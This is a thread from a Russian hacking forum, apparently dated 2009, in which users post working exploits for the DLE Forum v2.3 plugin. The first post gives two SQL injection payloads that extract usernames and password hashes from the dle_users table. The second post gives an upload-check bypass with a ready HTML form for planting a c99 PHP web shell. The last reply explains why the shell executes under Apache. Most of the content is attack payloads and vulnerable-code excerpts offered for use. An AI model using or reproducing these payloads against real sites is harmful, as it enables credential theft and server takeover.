ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

DLE Forum v.2.3 Final Release
  #1  
Старый 19.03.2009, 04:27
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию DLE Forum v.2.3 Final Release

DLE Forum v.2.3 Final Release
Офф сайт: http://www.dle-files.ru
Скачать: http://www.dle-files.ru/engine/download.php?id=6

SQL-INJ
Уязвимый скрипт: /engine/forum/textversion.php
Зависимость: register_globals = on
Запрос: /engine/forum/textversion.php?f1&WHERE=+AND+forum_id=-1+UNION+SELECT+1,2,concat_ws(0x3a,user_id,name,pas sword),4,5,email,7,8,9,10,11,12,13,14,15,16,17,18, 19,20+FROM+dle_users+--+-
Уязвимый кусок кода:
PHP код:
// фишки с WHERE я так и не понял ..
332$db->query("SELECT * FROM " PREFIX "_forum_topics WHERE forum_id = '$id' ".$WHERE." ORDER BY fixed, ".$sort_type." DESC LIMIT ".$cstart.",".$forum_config['topic_inpage']."");
333:                
334:                while ($row $db->get_row())
335:                { 
SQL-INJ
Зависимость: magic_quotes = off
Exploit: POST запрос к index.php?do=forum&act=forum
-1' UNION SELECT 0,2,3,4,5,concat_ws(0x3a,user_id,name,password),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from dle_users --

Уязвимый кусок кода:
PHP код:
// /engine/forum/sources/showforum.php
// Аналогичная уязвимость и в showtopic.php
// Забавная проверка =)
    
if (intval($fid))
    {
        
$row_forum $db->super_query("SELECT * FROM " PREFIX "_forum_forums WHERE id = '$fid'");
.....................
// $row_forum['id'] должен равняться 0, иначе дальше пойдут еще скуль-запросы в другие таблицы и скрипт вывалится с ошибкой, не выведя то, что нам нужно
        
if ($row_forum['id'] and $check_read)
        { 

Последний раз редактировалось BlackSun; 19.03.2009 в 05:07..
 
Ответить с цитированием

  #2  
Старый 19.03.2009, 05:49
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Аплоад файлов с обходом проверки расширения

Имеем аплоадер файлов
/engine/forum/sources/modules/uploads.php?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add
Где fid - айди форума, где разрешен аплоад

В файле uploads.php имеем:
PHP код:
// это нам только наруку
extract($_REQUESTEXTR_SKIP);

$fid intval($_REQUEST['fid']);
$tid intval($_REQUEST['tid']);
$pid intval($_REQUEST['pid']);
..........
$result $db->super_query("SELECT * FROM " PREFIX "_forum_forums WHERE id = '$fid'");

$access_upload $result['access_upload'];

$access_upload explode(":"$access_upload);

if (!
in_array($member_id['user_group'], $access_upload))
{
    die(
"Hacking attempt!");

Далее идут проверки
PHP код:
if ($do == "add")
{
    
$allowed_images = array("gif""jpg""png""jpe""jpeg");

    
$allowed_files explode(','$forum_config['upload_type']);

    
$file_name $_FILES['attachment']['name'];

    
$file_explode explode(".",$file_name);

    
$file_type strtolower(end($file_explode));

    
$attachment_size $_FILES['attachment']['size'];

    if (
in_array($file_type$allowed_images) AND $forum_config['img_upload'])
    {
        if (
$attachment_size < ($forum_config['img_size']*1024))
        {
            
$is_image TRUE;
            
            
$DIR "images/";
        }
        else
        {
            
$image_size_error true;
        }
    }

    if (
in_array($file_type$allowed_files) AND $upload_file_access)
    {
        
$is_file TRUE;

        
$DIR "files/";
    }

    if (
$is_file OR $is_image)
    { 
Переменные $is_file, $is_image, $DIR нигде ранее не определены, поэтому передав их GET \ POST запросом, можно залить файл с любым расширением, но .. это самое расширение обрезается =\
Файлы аплоадятся в /uploads/forum/files
PHP код:
        $uploadfile UPLOAD_DIR.$DIR.basename($_FILES['attachment']['name']);

        if (
move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadfile)){
            
$file_name $_FILES['attachment']['name'];
            
$file_size $_FILES['attachment']['size'];
        }
        
        if (
file_exists(UPLOAD_DIR $DIR $file_name)){

        if (
$is_file)
        {
            
$ftype 'file';

            
$file_rename time()."_".totranslit($file_name);
        }
        else
        {
            
$ftype 'image';

            
$file_rename time().".".$file_type;
        }

        
rename(UPLOAD_DIR $DIR $file_nameUPLOAD_DIR $DIR $file_rename); 
Тут и пригодится переменная $DIR: &DIR=files/c99.php. - имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)

В итоге залить шелл можно следующей формой:
Код:
<form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add&is_file=1&files/c99.php."><br /><input class="forum_input" name="attachment" type="file" style="width:200px" />&nbsp;<input class="button" value="Загрузить" type="submit" style="background-color:#53E490;" /></form><p><font color="red">Не допустимый формат файла!</font></p></fieldset><br /><fieldset><legend><strong>Загруженные файлы</strong></legend><form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=del"><table class="dle_forum" width="100%"></table><br />Ни одного файла не загружено.</form>
 
Ответить с цитированием

  #3  
Старый 19.03.2009, 12:35
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)
Это происходит из-за апачевского модуля mod_mime, который отбрасывает все неизвестные расширения
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ